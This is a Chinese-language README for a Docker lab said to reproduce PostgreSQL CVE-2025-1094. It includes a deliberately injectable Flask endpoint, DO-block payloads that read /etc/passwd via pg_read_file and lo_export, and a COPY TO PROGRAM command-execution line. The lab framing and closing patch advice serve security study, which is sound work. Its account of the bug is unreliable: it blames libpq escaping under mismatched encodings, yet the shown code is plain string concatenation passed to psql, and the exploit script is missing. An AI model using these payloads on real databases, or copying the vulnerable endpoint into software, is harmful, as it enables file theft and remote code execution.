PostgreSQL CVE-2025-1094 SQL注入漏洞复现环境
项目概述
本项目是一个专为安全研究人员设计的漏洞复现与应急响应实验环境,完整模拟了 CVE-2025-1094 高危SQL注入漏洞的触发场景。该漏洞影响PostgreSQL多个版本(17.3、16.7、15.11、14.16、13.19之前),CVSS 3.1评分为8.1,已在真实的BeyondTrust事件(影响17家企业客户)和美国财政部数据泄露事件中被利用。
项目通过Flask Web应用构建了一个易受攻击的API端点,结合PostgreSQL的编码绕过技术(server_encoding=EUC_TW与client_encoding=BIG5的不匹配),演示了攻击者如何利用libpq函数(PQescapeLiteral、PQescapeIdentifier等)的引用语法净化缺陷,实现任意文件读取与远程代码执行。
功能特性
- 完整的漏洞复现链路:包含Flask漏洞端点、PostgreSQL数据库配置、攻击Payload脚本,一键启动完整实验环境
- 编码绕过技术演示:通过
EUC_TW与BIG5编码不匹配触发libpq转义函数缺陷,实现SQL注入绕过 - 多阶段攻击模拟:支持创建PostgreSQL大对象、读取系统敏感文件(如
/etc/passwd)、导出文件到任意路径的完整攻击链 - 详细的日志追踪:Flask应用输出完整的SQL命令构建过程与psql执行结果,便于深入理解漏洞触发机制
- Docker容器化部署:所有依赖预配置在容器中,无需污染主机环境,适合安全测试与应急演练
安装指南
系统要求
- Docker Engine 20.10+
- Docker Compose 2.0+
- Python 3.8+(可选,用于运行攻击脚本)
快速部署
- 克隆项目仓库
git clone https://github.com/your-repo/cve-2025-1094-lab.git
cd cve-2025-1094-lab
- 启动PostgreSQL容器
项目依赖一个预配置的PostgreSQL数据库,需设置server_encoding=EUC_TW以触发编码绕过漏洞:
docker run -d \
--name postgres-cve \
-e POSTGRES_USER=postgres \
-e POSTGRES_PASSWORD=password \
-e POSTGRES_DB=postgres \
-p 5432:5432 \
postgres:17.2 \
-c server_encoding=EUC_TW
- 初始化数据库表
docker exec -i postgres-cve psql -U postgres -d postgres <<EOF
CREATE TABLE test (id TEXT);
INSERT INTO test (id) VALUES ('initial');
EOF
- 部署Flask漏洞应用
pip install flask psycopg2-binary
python app.py
应用将在 http://localhost:5000 启动。
使用说明
基础攻击流程
- 启动漏洞Web应用
python app.py
应用监听在 0.0.0.0:5000,提供 /vuln-endpoint POST接口。
- 执行SQL注入攻击
运行攻击脚本,触发漏洞利用:
python exploit.py
- 验证攻击结果
攻击成功后,攻击脚本输出执行状态,同时可通过以下命令验证敏感文件是否已被读取并导出:
docker exec -it postgres-cve cat /tmp/payload
如果攻击成功,/tmp/payload 将包含 /etc/passwd 文件内容。
典型攻击场景
场景一:利用DO块执行任意SQL
攻击者通过编码绕过,在input参数中注入DO块创建大对象并读取系统文件:
; DO $$
DECLARE
loid oid;
BEGIN
loid := lo_create(0);
PERFORM lo_put(loid, 0, pg_read_file('/etc/passwd')::bytea);
PERFORM lo_export(loid, '/tmp/payload');
INSERT INTO test (id) VALUES ('Exploit ran with loid ' || loid::text);
END $$;
场景二:远程代码执行(RCE)扩展
利用COPY程序功能,攻击者可进一步实现命令执行:
; COPY (SELECT '') TO PROGRAM 'id > /tmp/rce_result';
API概览
| 端点 | 方法 | 参数 | 说明 |
|---|---|---|---|
/vuln-endpoint | POST | input (form-data) | 接收用户输入,拼接至SQL命令并通过psql执行 |
请求示例:
curl -X POST http://localhost:5000/vuln-endpoint \
-d "input=; SELECT version();" \
-H "Content-Type: application/x-www-form-urlencoded"
日志监控
应用启用DEBUG级别日志,输出完整的SQL命令构建过程:
DEBUG:root:Received input: ; SELECT version();
DEBUG:root:SQL command: SELECT * FROM test WHERE id = 'test' ; SELECT version();
DEBUG:root:psql stdout: version
...
核心代码
1. Flask漏洞端点(app.py)
from flask import Flask, request
import psycopg2
import subprocess
import time
import logging
import os
app = Flask(__name__)
logging.basicConfig(level=logging.DEBUG)
@app.route('/vuln-endpoint', methods=['POST'])
def vuln_endpoint():
# 接收用户输入,未经任何过滤直接拼接至SQL命令
input_data = request.form['input']
app.logger.debug(f"Received input: {input_data}")
# 连接PostgreSQL数据库,设置客户端编码为BIG5
# 与服务器端EUC_TW编码形成不匹配,触发libpq转义缺陷
attempts = 0
max_attempts = 10
while attempts < max_attempts:
try:
conn = psycopg2.connect(
dbname="postgres",
user="postgres",
password="password",
host="db",
client_encoding="UTF8"
)
conn.set_client_encoding("BIG5")
break
except Exception as e:
attempts += 1
if attempts == max_attempts:
return "Database connection failed", 500
time.sleep(1)
cur = conn.cursor()
# 危险操作:直接将用户输入拼接到SQL命令中
# 未使用参数化查询或mogrify转义,导致SQL注入漏洞
sql_command = f"SELECT * FROM test WHERE id = 'test' {input_data}"
app.logger.debug(f"SQL command: {sql_command}")
# 通过psql命令行执行SQL,绕过libpq的编码安全检查
env = os.environ.copy()
env["PGPASSWORD"] = "password"
result = subprocess.run(
["psql", "-d", "postgres", "-U", "postgres", "-h", "db", "-c", sql_command],
capture_output=True,
text=True,
env=env
)
app.logger.debug(f"psql stdout: {result.stdout}")
app.logger.debug(f"psql stderr: {result.stderr}")
conn.close()
return "Executed"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
代码关键点说明:
- 编码不匹配:服务器使用
EUC_TW编码,客户端强制设为BIG5,导致libpq转义函数在多字节字符边界处产生错误判断 - 直接拼接SQL:用户输入直接通过f-string拼接到SQL命令,完全绕过参数化查询保护
- psql执行绕过:使用
subprocess调用psql命令行执行SQL,避开psycopg2驱动的注入防护机制 - 重试机制:连接PostgreSQL时包含最多10次重试,确保数据库服务启动后再处理请求
3. Docker Compose编排配置(docker-compose.yml)
version: '3.8'
services:
db:
image: postgres:17.2
container_name: postgres-cve
environment:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: password
POSTGRES_DB: postgres
ports:
- "5432:5432"
command:
- "-c"
- "server_encoding=EUC_TW"
volumes:
- ./init.sql:/docker-entrypoint-initdb.d/init.sql
healthcheck:
test: ["CMD-SHELL", "pg_isready -U postgres"]
interval: 10s
timeout: 5s
retries: 5
app:
build: .
container_name: flask-vuln-app
ports:
- "5000:5000"
environment:
- PGHOST=db
- PGUSER=postgres
- PGPASSWORD=password
- PGDATABASE=postgres
depends_on:
db:
condition: service_healthy
volumes:
- ./app.py:/app/app.py
command: python app.py
配置说明:
- db服务:使用PostgreSQL 17.2镜像,通过
command强制设置server_encoding=EUC_TW,开启漏洞触发条件 - 健康检查:通过
pg_isready确保数据库完全就绪后再启动Web应用 - app服务:Flask应用容器,依赖数据库健康状态,通过卷挂载实现代码热更新
安全建议
- 升级PostgreSQL版本:将数据库升级至17.3、16.7、15.11、14.16或13.19及以上版本
- 使用参数化查询:所有用户输入必须通过参数化查询或ORM框架处理,禁止直接拼接SQL字符串
- 统一字符编码:确保服务器端与客户端编码一致,避免多字节编码转换带来的安全风险
- 最小权限原则:数据库账号仅授予必要权限,限制
pg_read_file、lo_export等高危函数的使用 - 输入过滤与WAF:部署Web应用防火墙,对包含
DO、pg_read_file、lo_export等关键字的请求进行拦截 6HFtX5dABrKlqXeO5PUv/16X/R0v8KJTOxWA+3EX7uh6RTI8eUtJlHr99O4x6Iey